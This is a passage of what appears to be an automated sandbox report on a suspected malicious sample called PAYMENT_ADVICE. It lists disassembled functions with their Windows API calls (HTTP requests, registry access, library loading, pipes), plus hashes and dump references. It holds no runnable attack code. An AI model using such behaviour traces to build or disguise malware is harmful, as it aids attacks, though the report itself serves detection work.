                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharLower_memmove
                                                              • String ID: cdecl$none$stdcall$winapi
                                                              • API String ID: 3425801089-567219261
                                                              • Opcode ID: 377f57c627c5103079115c3b5d075b35cd524d6ec01a5d107930107dc968dfba
                                                              • Instruction ID: cd7e0d907dbb8505f1620c81506c4708d8e696ecd626028f6e33610189a6cbfe
                                                              • Opcode Fuzzy Hash: 377f57c627c5103079115c3b5d075b35cd524d6ec01a5d107930107dc968dfba
                                                              • Instruction Fuzzy Hash: 7F31B071904619AFCF06EF54CC519FEB3B5FF04324B10862AE965DBAD1EB31A905CB80
                                                              Function 00398E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00398F14
                                                              • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00398F27
                                                              • SendMessageW.USER32(?,00000189,?,00000000), ref: 00398F57
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$_memmove$ClassName
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 365058703-1403004172
                                                              • Opcode ID: 33bd329251a589e646415522a75eb5c7a787610c4dc86a91fb233b6c65f14fdc
                                                              • Instruction ID: 2071cddba539fac6d94faab47d53f16dedd2bc0111a07d1b75118ca5f0b37c58
                                                              • Opcode Fuzzy Hash: 33bd329251a589e646415522a75eb5c7a787610c4dc86a91fb233b6c65f14fdc
                                                              • Instruction Fuzzy Hash: A821F272A04104BFDF16ABA0DC46DFFB7A9DF46360F004519F4229B2E1DB3958099610
                                                              Function 003B182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003B184C
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B1872
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 003B18A2
                                                              • InternetCloseHandle.WININET(00000000), ref: 003B18E9
                                                                • Part of subcall function 003B2483: GetLastError.KERNEL32(?,?,003B1817,00000000,00000000,00000001), ref: 003B2498
                                                                • Part of subcall function 003B2483: SetEvent.KERNEL32(?,?,003B1817,00000000,00000000,00000001), ref: 003B24AD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                              • String ID:
                                                              • API String ID: 3113390036-3916222277
                                                              • Opcode ID: 5cdf462af932d0ed1c201d721a592effc2c10669b3772e0fb176024175f35877
                                                              • Instruction ID: 8bc697013161d6097a4e1d6d95a4cd22beb52239d4ec898395236e18fbb500e3
                                                              • Opcode Fuzzy Hash: 5cdf462af932d0ed1c201d721a592effc2c10669b3772e0fb176024175f35877
                                                              • Instruction Fuzzy Hash: 4E2180B2500208BFEB129F65DC95EFB77EDFB48748F10412AFA05E6940DB219E0557A1
                                                              Function 003C63E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00341D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00341D73
                                                                • Part of subcall function 00341D35: GetStockObject.GDI32(00000011), ref: 00341D87
                                                                • Part of subcall function 00341D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00341D91
                                                              • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 003C6461
                                                              • LoadLibraryW.KERNEL32(?), ref: 003C6468
                                                              • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 003C647D
                                                              • DestroyWindow.USER32(?), ref: 003C6485
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                              • String ID: SysAnimate32
                                                              • API String ID: 4146253029-1011021900
                                                              • Opcode ID: 31cecca665f09aa99ee9c4e8f7f493d10d86e98a1dbf8744027d24f42821afd8
                                                              • Instruction ID: 9574cffaf37bb988e6d7db5d0b4a0654b50d64bf065f4cb954715e9138d74d33
                                                              • Opcode Fuzzy Hash: 31cecca665f09aa99ee9c4e8f7f493d10d86e98a1dbf8744027d24f42821afd8
                                                              • Instruction Fuzzy Hash: 48217972200205AFEF168F65DC82FBA37ADEF59328F114629FA10D61A0D631AC51A760
                                                              Function 003A6D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(0000000C), ref: 003A6DBC
                                                              • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003A6DEF
                                                              • GetStdHandle.KERNEL32(0000000C), ref: 003A6E01
                                                              • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 003A6E3B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateHandle$FilePipe
                                                              • String ID: nul
                                                              • API String ID: 4209266947-2873401336
                                                              • Opcode ID: fcce2bb171d9fff67ed5f250f0286547538daaf14a46b000d23cf1ae71c92ef3
                                                              • Instruction ID: b316f55a41ea991063d5a38d040f5c3aaa33687f0e1cc9128331e005232363d8
                                                              • Opcode Fuzzy Hash: fcce2bb171d9fff67ed5f250f0286547538daaf14a46b000d23cf1ae71c92ef3
                                                              • Instruction Fuzzy Hash: B5219274600209EFDB229F39DC06E9AB7F8EF46760F244A19FDA1D72D0D77099508B50
                                                              Function 003A6E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(000000F6), ref: 003A6E89
                                                              • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003A6EBB
                                                              • GetStdHandle.KERNEL32(000000F6), ref: 003A6ECC
                                                              • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 003A6F06
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateHandle$FilePipe
                                                              • String ID: nul
                                                              • API String ID: 4209266947-2873401336
                                                              • Opcode ID: 5b7b46a912329500d73b10850eb926dd3eab1f6dc9c9aa662d03a55be030e5dd
                                                              • Instruction ID: 9c3f8da36a0073aaa088bb4a1a4217de8ea173968173c1476acc0143205b5223
                                                              • Opcode Fuzzy Hash: 5b7b46a912329500d73b10850eb926dd3eab1f6dc9c9aa662d03a55be030e5dd
                                                              • Instruction Fuzzy Hash: A821A479500305AFDB229F69DD06E9AB7A8EF46730F280A19FDE0D72D0D770A850C750
                                                              Function 003AAC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 003AAC54
                                                              • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 003AACA8
                                                              • __swprintf.LIBCMT ref: 003AACC1
                                                              • SetErrorMode.KERNEL32(00000000,00000001,00000000,003CF910), ref: 003AACFF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$InformationVolume__swprintf
                                                              • String ID: %lu
                                                              • API String ID: 3164766367-685833217
                                                              • Opcode ID: d1eec44d99acd6ed73c4e4531df720adf28f39a8952c1a7304985605ce9fa7a1
                                                              • Instruction ID: 162aa7e96f0debec0eabcb79561e3378122a9896b02fd65a61414e3febb56250
                                                              • Opcode Fuzzy Hash: d1eec44d99acd6ed73c4e4531df720adf28f39a8952c1a7304985605ce9fa7a1
                                                              • Instruction Fuzzy Hash: 25214135A00109AFCB11DF65C945EEFBBB8EF49714B004469F909DF252DB31EA41DB61
                                                              Function 003A1142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0039FCED,?,003A0D40,?,00008000), ref: 003A115F
                                                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,0039FCED,?,003A0D40,?,00008000), ref: 003A1184
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0039FCED,?,003A0D40,?,00008000), ref: 003A118E
                                                              • Sleep.KERNEL32(?,?,?,?,?,?,?,0039FCED,?,003A0D40,?,00008000), ref: 003A11C1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CounterPerformanceQuerySleep
                                                              • String ID: @:
                                                              • API String ID: 2875609808-4235850541
                                                              • Opcode ID: 5d40fa137e91f4376e7ff9590863a7f710b54b9a7ed321da96f466982c3eed2f
                                                              • Instruction ID: bdecc42890626f5b9540278b55fdb693c303f80ff36d5e0591980b51e0cd81eb
                                                              • Opcode Fuzzy Hash: 5d40fa137e91f4376e7ff9590863a7f710b54b9a7ed321da96f466982c3eed2f
                                                              • Instruction Fuzzy Hash: 1B113C35D0051DDBCF029FA5D849AEEBBBCFF0A711F054056EA81B6240CB70A550CB95
                                                              Function 003BEB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 003BEC07
                                                              • GetProcessIoCounters.KERNEL32(00000000,?), ref: 003BEC37
                                                              • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 003BED6A
                                                              • CloseHandle.KERNEL32(?), ref: 003BEDEB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                              • String ID:
                                                              • API String ID: 2364364464-0
                                                              • Opcode ID: 42a21c7079fb16ad2d0dc5745126f589c56840367f2a27f2678289a7f8175731
                                                              • Instruction ID: 254f07207cb2eb17df0dc32f1f8ac16fd5404933470b178df083d2578e37327b
                                                              • Opcode Fuzzy Hash: 42a21c7079fb16ad2d0dc5745126f589c56840367f2a27f2678289a7f8175731
                                                              • Instruction Fuzzy Hash: A48161716043009FD762EF28C886F6AB7E5AF48714F04881DF999DF692D7B1AC40CB91
                                                              Function 003C0037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 003C0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003BFDAD,?,?), ref: 003C0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003C00FD
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003C013C
                                                              • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003C0183
                                                              • RegCloseKey.ADVAPI32(?,?), ref: 003C01AF
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 003C01BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                              • String ID:
                                                              • API String ID: 3440857362-0
                                                              • Opcode ID: 6748ebc177dcac7acc0384a85ec566d7e2c2f21dd7b6c375da1cc424aa669f2b
                                                              • Instruction ID: 26d0f9b68890bea5070d157b8fdd494f7506204a45866bce7e6387865ee0bec4
                                                              • Opcode Fuzzy Hash: 6748ebc177dcac7acc0384a85ec566d7e2c2f21dd7b6c375da1cc424aa669f2b
                                                              • Instruction Fuzzy Hash: 0F512871208244AFD716EF58C881F6AB7E9AF84714F44892DF5958B2A2DB31ED04CB52
                                                              Function 003BD8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 003BD927
                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 003BD9AA
                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 003BD9C6
                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 003BDA07
                                                              • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 003BDA21
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,003A7896,?,?,00000000), ref: 00345A2C
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,003A7896,?,?,00000000,?,?), ref: 00345A50
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 327935632-0
                                                              • Opcode ID: 162da61e8dbf40651d3f4804d262f1ed16f937ec514fb315b6de08fc170b69e1
                                                              • Instruction ID: 9d05be4531f74492fbf7d3bb312983bdcd9254ec9c824b27ef81647a3e3452ae
                                                              • Opcode Fuzzy Hash: 162da61e8dbf40651d3f4804d262f1ed16f937ec514fb315b6de08fc170b69e1
                                                              • Instruction Fuzzy Hash: 43510635A00209DFCB02EFA8C4849ADB7F9FF09324B158165E959AB712E731AE45CF91
                                                              Function 003AE571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 003AE61F
                                                              • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 003AE648
                                                              • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 003AE687
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 003AE6AC
                                                              • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 003AE6B4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 1389676194-0
                                                              • Opcode ID: b5658061fdd7df8960d9d6f82a38a1a57dd57c03a0aca81992a152f473602b51
                                                              • Instruction ID: 963834206c37697a3abe01c3b333e37354bceb65df6b5a4e0faba485e5807499
                                                              • Opcode Fuzzy Hash: b5658061fdd7df8960d9d6f82a38a1a57dd57c03a0aca81992a152f473602b51
                                                              • Instruction Fuzzy Hash: 5251E935A00205DFCB16EF64C985AAEBBF5EF49314F1484A9E819AF362CB31ED11DB50
                                                              Function 003CA056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f54fa6b466295744a11560565aabc86ab721187a08e79ec82a6272e215e70c2b
                                                              • Instruction ID: 2d15fcdb67f0899445780538afdfb3c9ad7da964c2459625706d990d30927067
